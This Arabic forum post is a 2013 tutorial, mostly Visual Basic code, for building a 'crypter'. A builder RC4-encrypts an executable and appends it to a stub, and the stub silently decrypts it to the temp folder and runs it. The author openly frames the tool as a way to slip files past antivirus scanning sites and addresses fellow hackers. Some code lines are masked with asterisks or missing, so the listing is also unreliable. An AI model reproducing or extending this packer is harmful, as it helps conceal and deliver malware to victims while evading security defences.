Admin Admin
المساهمات : 149 تاريخ التسجيل : 15/07/2013
| موضوع: شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك الأربعاء يوليو 24, 2013 9:41 am | |
|
السلام عليكم كيف الحال مبين من العنوآن اليوم بشرح لكم طريقه بسيطه لتصميم برنامج تشفير طبعا بعد ماتصصمونه وتحسون طفشتم منه تستطيعون انكم تطوورون الستب حق البرنامج مثل تخطي مواقع الفحص الخ ماعلينا الحين بشرح لكم طريقه تصميم برنامج تشفير وبرنامج راح يعتمد على شيئين 1- برنامج عادي يظهر للمستخدم 2- ستب وهو الى عليه كل كلام التشفير وغير ظاهر للمستخدم يالله ندخل بالشرح مختصر بصوره [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]طيب الحين نجي الاكوآد كـواد البرنامج :_: في التصريحات العامه (General ) :_: كود PHP: - الكود:
-
Option Explicit
- الكود:
-
Const FileSplit = "<%*#%>"
- الكود:
-
Const pw = "DnT%m25@#qß" في زر الاستعراض Command1 نضع هذا الكود : كود PHP: - الكود:
-
With CommonDialog1 ' انتظار اداه دايلق - الكود:
-
.Filter = "Excuteable Files (*exe) | ******" ' استعراض ملف صيغه exe تنفيذيه تستطيع انك تبدل - الكود:
-
.DialogTitle = "Select a File" - الكود:
-
.ShowOpen ' امر الاستعراض وجلب - الكود:
-
****1.**** = CommonDialog1.File**** ' امر احضار الملف في مربع التكست النجوم رقم 1 تعني = T e x t النجوم الثانيه تعني = N A M E في زر التشفير Command2 نضع هذا الكود : كود PHP: - الكود:
-
Dim sStube As String, sFile As String - الكود:
-
Open App.Path & "\stube*****" For Binary As #1 ' اسم الستب - الكود:
-
sStube = Space(LOF(1)) - الكود:
-
Open ****1.**** For Binary As #1 - الكود:
-
sFile = Space(LOF(1)) - الكود:
-
Open App.Path & "\s3od*****" For Binary As #1 ' اسم الملف الناتج بعد التشفير - الكود:
-
Put #1, , sStube & FileSplit & RC4(sFile, pw) - الكود:
-
MsgBox "مبــروك تم تشفير الملف بنجآح" النجوم تعني = t e x t في الموديل الى اضنفاه ModRc4 نضع هذا الكود :_: كود PHP: - الكود:
-
Public Function RC4(ByVal Expression As String, ByVal Password As String) As String - الكود:
-
On Error Resume Next - الكود:
-
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte - الكود:
-
If Len(Password) = 0 Then - الكود:
-
If Len(Expression) = 0 Then - الكود:
-
If Len(Password) > 256 Then - الكود:
-
Key() = StrConv(Left$(Password, 256), vbFromUnicode) - الكود:
-
Key() = StrConv(Password, vbFromUnicode) - الكود:
-
Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256 - الكود:
-
ByteArray() = StrConv(Expression, vbFromUnicode) - الكود:
-
For X = 0 To Len(Expression) - الكود:
-
Y = (Y + 1) Mod 256 - الكود:
-
Z = (Z + RB(Y)) Mod 256 - الكود:
-
ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256)) - الكود:
-
RC4 = StrConv(ByteArray, vbUnicode) .......................... بكذا يكون خلصنا من اكوآد البرنامج نحفظه exe ونضعه بمجلد الحاله ثم الان نجي لستب ونضع اكوآده الموديل الى في الستب الاول ModMain الكود الذي يوضع فيه هو : كود PHP: - الكود:
-
Const FileSplit = "<%*#%>" - الكود:
-
Const pw = "DnT%m25@#qك" - الكود:
-
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long - الكود:
-
Dim sStub As String, sFile As String - الكود:
-
Open App.Path & "\" & App********* & ".exe" For Binary As #1 ' اضافة ملف امتدآده تنفيذي - الكود:
-
sStub = Space(LOF(1)) - الكود:
-
Get #1, , sStub ' اسم الستب - الكود:
-
sFile = Split(sStub, FileSplit)(1) - الكود:
-
Open Environ("tmp") & "decrypted.exe" For Binary As #1 - الكود:
-
Put #1, , RC4(sFile, pw) - الكود:
-
Close #1 'وضع نسخه باسم مسمي في التيمب واغلاق بعد الانتهاء - الكود:
-
Call ShellExecute(0, vbNullString, Environ("tmp") & "decrypted.exe", vbNullString, vbNullString, 1) 'الاتصال بالملف الذي تم نسخه النجوم تعني = N a m e موديل رقم 2 باسم ModRc4 كود هـو : كود PHP: - الكود:
-
Public Function RC4(ByVal Expression As String, ByVal Password As String) As String - الكود:
-
On Error Resume Next - الكود:
-
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte - الكود:
-
If Len(Password) = 0 Then - الكود:
-
If Len(Expression) = 0 Then - الكود:
-
If Len(Password) > 256 Then - الكود:
-
Key() = StrConv(Left$(Password, 256), vbFromUnicode) - الكود:
-
Key() = StrConv(Password, vbFromUnicode) - الكود:
-
Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256 - الكود:
-
ByteArray() = StrConv(Expression, vbFromUnicode) - الكود:
-
For X = 0 To Len(Expression) - الكود:
-
Y = (Y + 1) Mod 256 - الكود:
-
Z = (Z + RB(Y)) Mod 256 - الكود:
-
ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256)) - الكود:
-
RC4 = StrConv(ByteArray, vbUnicode) طيب الحين نحفظ الستب باسم Stube ونحطه جنب البرنامج الى حفظناه ونستمتع بالتشفيره والبرمجه تستطيع انك تبدل اسم الستب للي تحب عادي في الاكوآد حقت البرنامج على شان محد يقول سعود قصر ارفقت لكم في مجلد الصور + الاكوآد + السورس الى تم تطبيق عليه الشرح على شان لما تخطئون تعرفون اخطأكم وين وان شاء الله اكون سويت لكم فائده وتقدرون تطوروون الستب حق برنامجكم لانه هو اهم شي لما تطورونه راح تطوروون الملف الناتج اهداء للجميع على رئسهم الزعلان هكرزي بالتوفيق
| |
|